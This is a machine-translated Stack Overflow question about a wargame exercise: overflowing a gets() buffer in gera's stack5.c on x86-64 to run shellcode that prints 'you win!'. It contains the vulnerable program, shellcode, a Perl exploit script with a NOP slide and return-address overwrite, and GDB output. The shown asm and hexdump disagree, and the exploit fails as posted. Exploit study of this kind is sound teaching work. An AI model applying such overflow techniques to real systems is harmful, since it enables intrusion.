【问题标题】:Solution to stack5.c (buffer stack overflow EIP) on x64x64上stack5.c(缓冲栈溢出EIP)的解决方案
【发布时间】:2015-01-18 18:50:32
【问题描述】:

我正在按照以下链接中提供的教程学习如何通过缓冲区溢出插入 shell 代码并将您的 EIP/RIP 重定向到正确制作的 shell 代码以将 you win! 字符串打印到标准输出:

本教程对如何在 i386 架构上覆盖 EIP 以执行您的 shell 代码进行了清晰而彻底的解释。唯一的区别是我使用的是 x64 架构(EIP -> RIP)。

这是stack5.c程序,需要打印you win!才能成功。解决方案是您需要插入 shellcode 来执行此操作,并通过将保存的 RIP 覆盖到您的 shellcode(或它前面的 NOP 幻灯片)来强制程序执行您的 shellcode。

/* stack5-stdin.c                               *
 * specially crafted to feed your brain by gera */

#include <stdio.h>

int main() {
        int cookie;
        char buf[80];

        printf("buf: %08x cookie: %08x\n", &buf, &cookie);
        gets(buf);

        if (cookie == 0x000d0a00)
                printf("you loose!\n");
}

asm中的shell代码(stack5shell.asm):

BITS 64             ;  Tell nasm this is 32-bit code.

      call mark_below   ;  Call below the string to instructions
      db "you win!",  0x0a, 0x0d  ; with newline and carriage return bytes.

mark_below:
    ; ssize_t write(int fd,  const void *buf, size_t count);
      pop rcx           ; Pop  the return address (string ptr) into rcx.
      mov eax, 4        ; Write  syscall #.
      mov ebx, 1        ; STDOUT  file descriptor
      mov edx, 10       ; Length of the string
      int 0x80          ; Do syscall: write(1, string, 10)

    ; void _exit(int status);
      mov eax, 1        ; Exit syscall #
      mov ebx, 0        ; Status = 0
      int 0x80          ; Do syscall:  exit(0)

在hexdump中的shell代码机器码(用“nasm -o stack5shell.shell stack5shell.asm”生成):

00000000  eb 15 59 31 c0 b0 04 31  db ff c3 31 d2 b2 08 cd  |..Y1...1...1....|
00000010  80 b0 01 ff cb cd 80 e8  e6 ff ff ff 79 6f 75 20  |............you |
00000020  77 69 6e 21                                       |win!|
00000024

我使用以下 perl 脚本来测试我的结果(因为我无法在终端上输入无 ascii 字符,并且程序正在使用 get fromm stdin 来溢出 buf[]):

#!/usr/bin/env perl

use strict;
use Expect;

my $timeout = 10; 

my $executable = "./stack5 ";
my $nop_slide = "\x90" x 68;
my $youwin_shell = "\xeb\x15\x59\x31\xc0\xb0\x04\x31\xdb\xff\xc3\x31\xd2\xb2\x08\xcd\x80\xb0\x01\xff\xcb\xcd\x80\xe8\xe6\xff\xff\xff\x79\x6f\x75\x20\x77\x69\x6e\x21";

my $return_address = "\xd0\xdc\xff\xff\xff\x7f";

my $input = $nop_slide.$youwin_shell.$return_address."\n";
my $input_length = length $input;

print("Start run... (input length $input_length) \n\n");

my $exp = Expect->spawn($executable) or die "Cannot spawn cookie-win command \n";

$exp->expect($timeout, ["buf"]); 
$exp->send($input);
$exp->soft_close();

perl 脚本没有成功生成 you win! 输出。

Start run... (input length 111) 

buf: ffffdcd0 cookie: ffffdd2c
^ZYH1��H1�H��H1Ҳ^H̀�^AH��̀�����you win!���� 

当我使用 GDB 时(如本问题开头提到的 2 篇博文中所述),我似乎已经成功地正确覆盖了保存的 RIP。然而,我的 shell 代码似乎没有被执行,所以我对出了什么问题感到困惑:

$ gdb ./stack5 
(gdb) list
warning: Source file is more recent than executable.
1   /* stack5-stdin.c                               *
2    * specially crafted to feed your brain by gera */
3    
4   #include <stdio.h>
5    
6   int main() {
7           int cookie;
8           char buf[80];
9          
10          printf("buf: %08x cookie: %08x\n", &buf, &cookie);
11          gets(buf);
12   
13          if (cookie == 0x000d0a00)
14                  printf("you loose!\n");
15  }
(gdb) break 15
Breakpoint 1 at 0x4005ff: file stack5.c, line 15.
(gdb) continue
Continuing.

Breakpoint 1, main () at stack5.c:15
warning: Source file is more recent than executable.
15  }
(gdb) backtrace
#0  main () at stack5.c:15
(gdb) info frame 0
Stack frame at 0x7fffffffdd40:
 rip = 0x4005ff in main (stack5.c:15); saved rip = 0x7fffffffdcd0
 source language c.
 Arglist at 0x7fffffffdd30, args: 
 Locals at 0x7fffffffdd30, Previous frame's sp is 0x7fffffffdd40
 Saved registers:
  rbp at 0x7fffffffdd30, rip at 0x7fffffffdd38
(gdb) x/120x buf
0x7fffffffdcd0: 0x315915eb  0x3104b0c0  0x31c3ffdb  0xcd08b2d2
0x7fffffffdce0: 0xff01b080  0xe880cdcb  0xffffffe6  0x20756f79
0x7fffffffdcf0: 0x216e6977  0x90909090  0x90909090  0x90909090
0x7fffffffdd00: 0x90909090  0x90909090  0x90909090  0x90909090
0x7fffffffdd10: 0x90909090  0x90909090  0x90909090  0x90909090
0x7fffffffdd20: 0x90909090  0x90909090  0x90909090  0x90909090
0x7fffffffdd30: 0x90909090  0x90909090  0xffffdcd0  0x00007fff

为了允许 shell 代码的堆栈执行,我使用了以下编译标志:

# gcc -g -w -ggdb -static -fno-stack-protector -z execstack -c stack5.c -o stack5.o
# gcc  stack5.o -Wall -lm -o stack5
# execstack --set-execstack stack5
# execstack stack5 
    X stack5

我还使用另一个示例 C 程序测试了 shell 代码本身,以确保该代码本身没有错误,如 thisstackoverflow 帖子中所述。

任何人知道为什么会出错,即使 GDB 似乎检测到已成功覆盖已保存的 RIP?

任何帮助表示赞赏

【问题讨论】:

标签: assembly 64-bit nasm buffer-overflow shellcode


【解决方案1】:

您可以在Stack Smashing On A Modern Linux System 的第 1 至第 3 部分中找到有关如何执行此操作的详细教程。

【讨论】:

    猜你喜欢
    • 1970-01-01
    • 1970-01-01
    • 2012-04-02
    • 1970-01-01
    • 2015-05-31
    • 2010-11-11
    • 1970-01-01
    • 1970-01-01
    • 1970-01-01
    相关资源
    最近更新 更多